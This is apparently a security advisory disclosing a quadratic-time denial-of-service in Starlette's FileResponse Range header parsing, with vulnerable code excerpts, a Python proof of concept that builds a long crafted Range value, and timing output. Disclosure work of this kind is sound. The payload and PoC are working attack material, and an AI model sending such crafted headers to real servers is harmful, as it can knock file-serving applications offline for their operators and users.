Starlette vulnerable to O(n^2) DoS via Range header merging in ``starlette.responses.FileResponse``

[a-klos]

Summary
An unauthenticated attacker can send a crafted HTTP Range header that triggers quadratic-time processing in Starlette's FileResponse Range parsing/merging logic. This enables CPU exhaustion per request, causing denial‑of‑service for endpoints serving files (e.g., StaticFiles or any use of FileResponse).

Details
Starlette parses multi-range requests in FileResponse._parse_range_header(), then merges ranges using an O(n^2) algorithm.

starlette/responses.py

_RANGE_PATTERN = re.compile(r"(\d*)-(\d*)") # vulnerable to O(n^2) complexity ReDoS

class FileResponse(Response):
@staticmethod
def parse_range_header(http_range: str, file_size: int) -> list[tuple[int, int]]:
ranges: list[tuple[int, int]] = []
try:
units, range = http_range.split("=", 1)
except ValueError:
raise MalformedRangeHeader()

    # [...]

    ranges = [
        (
            int(_[0]) if _[0] else file_size - int(_[1]),
            int(_[1]) + 1 if _[0] and _[1] and int(_[1]) < file_size else file_size,
        )
        for _ in _RANGE_PATTERN.findall(range_) # vulnerable
        if _ != ("", "")
    ]

The parsing loop of FileResponse._parse_range_header() uses the regular expression which vulnerable to denial of service for its O(n^2) complexity. A crafted Range header can maximize its complexity.

The merge loop processes each input range by scanning the entire result list, yielding quadratic behavior with many disjoint ranges. A crafted Range header with many small, non-overlapping ranges (or specially shaped numeric substrings) maximizes comparisons.

This affects any Starlette application that uses:

starlette.staticfiles.StaticFiles (internally returns FileResponse) — starlette/staticfiles.py:178
Direct starlette.responses.FileResponse responses
PoC
#!/usr/bin/env python3

import sys
import time

try:
import starlette
from starlette.responses import FileResponse
except Exception as e:
print(f"[ERROR] Failed to import starlette: {e}")
sys.exit(1)

def build_payload(length: int) -> str:
"""Build the Range header value body: '0' * num_zeros + '0-'"""
return ("0" * length) + "a-"

def test(header: str, file_size: int) -> float:
start = time.perf_counter()
try:
FileResponse._parse_range_header(header, file_size)
except Exception:
pass
end = time.perf_counter()
elapsed = end - start
return elapsed

def run_once(num_zeros: int) -> None:
range_body = build_payload(num_zeros)
header = "bytes=" + range_body
# Use a sufficiently large file_size so upper bounds default to file size
file_size = max(len(range_body) + 10, 1_000_000)

print(f"[DEBUG] range_body length: {len(range_body)} bytes")
elapsed_time = test(header, file_size)
print(f"[DEBUG] elapsed time: {elapsed_time:.6f} seconds\n")

if name == "main":
print(f"[INFO] Starlette Version: {starlette.version}")
for n in [5000, 10000, 20000, 40000]:
run_once(n)

"""
$ python3 poc_dos_range.py
[INFO] Starlette Version: 0.48.0
[DEBUG] range_body length: 5002 bytes
[DEBUG] elapsed time: 0.053932 seconds

[DEBUG] range_body length: 10002 bytes
[DEBUG] elapsed time: 0.209770 seconds

[DEBUG] range_body length: 20002 bytes
[DEBUG] elapsed time: 0.885296 seconds

[DEBUG] range_body length: 40002 bytes
[DEBUG] elapsed time: 3.238832 seconds
"""
Impact
Any Starlette app serving files via FileResponse or StaticFiles; frameworks built on Starlette (e.g., FastAPI) are indirectly impacted when using file-serving endpoints. Unauthenticated remote attackers can exploit this via a single HTTP request with a crafted Range header.